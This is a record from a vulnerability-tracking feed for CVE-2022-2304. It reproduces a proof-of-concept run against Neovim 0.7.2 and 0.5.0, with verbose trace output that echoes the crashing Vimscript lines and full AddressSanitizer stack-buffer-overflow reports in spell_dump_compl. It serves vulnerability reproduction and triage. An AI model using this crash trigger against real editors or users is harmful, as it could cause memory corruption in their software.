{"uuid": "c63300c6-b848-452a-b03a-60ddd333f53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2304", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/28343f25e5338cf1b3a275a29d5fc13d", "content": "Command:\n./nvim-0.7.2 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu R()\n\nline 4: no0 0a0zW0000000\n\nline 5: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n\nfunction R returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2304/CVE-2022-2304\n\nline 6: sil0norm0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n\nline 7: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n=================================================================\n==16054==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc77432b8 at pc 0x000000f74915 bp 0x7ffcc7742e90 sp 0x7ffcc7742e88\nWRITE of size 4 at 0x7ffcc77432b8 thread T0\n    #0 0xf74914 in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:7064:27\n    #1 0x78674d in ins_compl_dictionaries /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:3026:7\n    #2 0x781ac0 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4347:9\n    #3 0x759bbd in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4811:21\n    #4 0x7548fc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5438:7\n    #5 0x769448 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1392:7\n    #6 0x76bf32 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1246:9\n    #7 0x743faf in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n    #8 0xfc9265 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #9 0x748413 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n    #10 0x74207d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n    #11 0xc92548 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n    #12 0xc776a1 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7242:5\n    #13 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #14 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #15 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #16 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #17 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #18 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #19 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #20 0x8b4196 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #21 0x8b0d03 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #22 0x8aeb05 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #23 0x8c9824 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #24 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #27 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #28 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #29 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #30 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #31 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #32 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #33 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #34 0x7ff8c287a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x461f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x461f7d)\n\nAddress 0x7ffcc77432b8 is located in stack of thread T0 at offset 1048 in frame\n    #0 0xf7340f in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6916\n\n  This frame has 3 object(s):\n    [32, 1048) 'arridx' (line 6919) <== Memory access at offset 1048 overflows this variable\n    [1184, 2200) 'curi' (line 6920)\n    [2336, 2590) 'word' (line 6921)\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:7064:27 in spell_dump_compl\nShadow bytes around the buggy address:\n  0x100018ee0600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100018ee0650: 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2\n  0x100018ee0660: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00\n  0x100018ee0670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee06a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==16054==ABORTING\n\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu R()\n\nline 4: no0 0a0zW0000000\n\nline 5: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n\nfunction R returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2304/CVE-2022-2304\n\nline 6: sil0norm0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n\nline 7: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n=================================================================\n==16120==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffc759c5b8 at pc 0x000000e94e45 bp 0x7fffc759c190 sp 0x7fffc759c188\nWRITE of size 4 at 0x7fffc759c5b8 thread T0\n    #0 0xe94e44 in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6841:27\n    #1 0x7268ad in ins_compl_dictionaries /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2952:7\n    #2 0x722fd6 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4203:7\n    #3 0x6fbbc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #4 0x6f6b62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #5 0x70b141 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #6 0x70da1e in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1189:9\n    #7 0x6e654a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #8 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #9 0x6ea759 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #10 0x6e4753 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #11 0xbf40f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #12 0xbd9401 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #13 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #14 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #15 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #16 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #17 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #18 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #19 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #20 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #21 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #22 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #23 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #24 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #25 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #26 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #27 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #28 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #29 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #30 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #31 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #32 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #33 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #34 0x7ffa26f3a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\nAddress 0x7fffc759c5b8 is located in stack of thread T0 at offset 1048 in frame\n    #0 0xe9393f in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6699\n\n  This frame has 3 object(s):\n    [32, 1048) 'arridx' (line 6702) <== Memory access at offset 1048 overflows this variable\n    [1184, 2200) 'curi' (line 6703)\n    [2336, 2590) 'word' (line 6704)\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6841:27 in spell_dump_compl\nShadow bytes around the buggy address:\n  0x100078eab860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100078eab8b0: 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2\n  0x100078eab8c0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00\n  0x100078eab8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==16120==ABORTING", "creation_timestamp": "2026-09-27T08:48:36.000000Z"}